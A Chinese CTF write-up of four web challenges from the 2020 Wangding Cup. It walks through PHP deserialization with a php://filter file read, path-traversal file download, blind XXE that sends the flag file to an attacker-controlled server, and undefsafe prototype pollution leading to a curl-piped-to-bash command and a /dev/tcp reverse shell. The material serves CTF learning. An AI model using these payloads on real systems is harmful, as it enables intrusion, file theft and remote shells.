本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

AreUSerialz

开题即送源码:

 <?php

 include("flag.php");

 highlight_file(__FILE__);

 class FileHandler {

     protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

审计代码:

GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

用绝对路径/var/www/html读也没用

我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

然后发现了web路径:

所以猜测flag.php路径是:/web/html/flag.php

直接读取不行,用伪协议读可以

payload:

 <?php
class FileHandler { public $op = "2e0";
public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
} $a = new FileHandler();
echo urlencode(serialize($a)); O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

返回:

Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


filejava

打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

上传个文件,然后可以下载,复制下载链接一看:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

可能存在任意文件下载,尝试:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

发现可以下载到/etc/passwd

又根据报错知道是Tomcat于是读取web.xml:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

 <?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

 /DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../META-INF/MANIFEST.MF

主要利用点是在UploadServlet.java中有如下代码:

 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

   try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

这里考到了CVE-2014-3529类似的漏洞

这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

修改[Content_Types].xml的内容为:

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
%int;
%all;
%send;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

在自己的vps上新建a.xml文件,内容为:

 <!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

然后监听8500端口,上传excel-1.xlsx即可收到flag


notes

考点:CVE-2019-10795 undefsafe原型链污染

参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

app.js源码:

 var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process'); var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
} write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
} get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
} edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
} get_all_notes() {
return this.note_list;
} remove_note(id) {
delete this.note_list[id];
}
} var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug'); app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
}); app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
}) app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
}) app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
}) app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
}) app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
}) app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
}); app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
}); const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

 var object = {
a: {
b: [1,2,3]
}
}; // modified object
var res = undefsafe(object, 'a.b.0', 10); console.log(object); // { a: { b: [10, 2, 3] } }
//这里可以看见1被替换成了10

参考:https://github.com/remy/undefsafe

审计代码发现由于/status路由下有命令执行:

 app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

/edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

因为undefsafe操作的对象可控,所以我们可以进行原型链污染

payload:

 id=__proto__&author=curl ip/a.txt|bash&raw=123
//a.txt内容为:
bash -i >& /dev/tcp/ip/port 0>&1

反弹shell,flag在根目录下


trace

这个是insert注入,好像复现不了了orz

网鼎杯2020青龙组writeup-web的更多相关文章

  1. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  2. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  3. 【网鼎杯2020朱雀组】Web WriteUp

    nmap nmap语法,很简单. 127.0.0.1' -iL /flag -oN vege.txt ' phpweb 打开,抓包,发现可以传递函数和其参数 试了一下很多函数都被过滤了,不能执行系统命 ...

  4. [网鼎杯 2020 青龙组]AreUSerialz

    题目分析 <?php include("flag.php"); highlight_file(FILE); class FileHandler { protected $op ...

  5. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  6. 刷题[网鼎杯 2020 朱雀组]phpweb

    解题思路 打开是一个蛮有意思的背景,众生皆懒狗,是自己没错了.源代码看一看,啥都没有.抓个包 诶,一看到func和p两个参数,想到了call_user_func(). 尝试着把date改成system ...

  7. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

随机推荐

  1. Python快速编程入门,打牢基础必须知道的11个知识点 !

    Python被誉为全世界高效的编程语言,同时也被称作是“胶水语言”,那它为何能如此受欢迎,下面我们就来说说Python入门学习的必备11个知识点,也就是它为何能够如此受欢迎的原因. Python 简介 ...

  2. Zabbix3.0安装部署最佳实践

    Zabbix介绍 1.1zabbix 简介 Zabbix 是一个高度集成的网络监控解决方案,可以提供企业级的开源分布式监控解决方案,由一个国外的团队持续维护更新,软件可以自由下载使用,运作团队靠提供收 ...

  3. Android 5.0系统默认颜色

    伴随着 Android5.0 的发布也更新了support-v7-appcompat 到 V21,其中增加了 ToolBar.recyclerview.cardview 等控件. Android5.0 ...

  4. 李宏毅机器学习--PM2.5预测

    一.说明 给定训练集train.csv,要求根据前9个小时的空气监测情况预测第10个小时的PM2.5含量. 训练集介绍: (1).CSV文件,包含台湾丰原地区240天的气象观测资料(取每个月前20天的 ...

  5. mac OS 查看开机/关机/重启记录

    last 查看最近的开关机.登录用户等记录 以及操作时间节点. last | grep reboot 查看重启记录 last | grep shutdown 查看关机记录

  6. jmeter的教学视频

    转载于:https://www.cnblogs.com/ios9/p/9769058.html

  7. 业务SQL那些事--慎用LIMIT

    业务SQL那些事--慎用LIMIT 在业务中使用LIMIT限制SQL返回行数是很常见的事情,但如果不知道其中可能的坑或者说真正执行逻辑,就可能会使SQL执行非常慢,严重影响性能. LIMIT OFFS ...

  8. codeforce 1311 C. Perform the Combo 前缀和

    You want to perform the combo on your opponent in one popular fighting game. The combo is the string ...

  9. muduo网络库源码学习————条件变量

    muduo里的CountDownLatch类实际上是对条件变量condition进行的封装,既可以用于所有子线程等待主线程发起 "起跑" ,也可以用于主线程等待子线程初始化完毕才开 ...

  10. uiautomatorviewer 出现安卓8.0级以上无法打开的解决方法

    一..本人在使用Android自带的uiautomatorviewer工具来进行app元素定位时,出现了Android 9.0打开不了.出现了如下图错误提示: 经过网上的查阅,总结了几个解决的方法. ...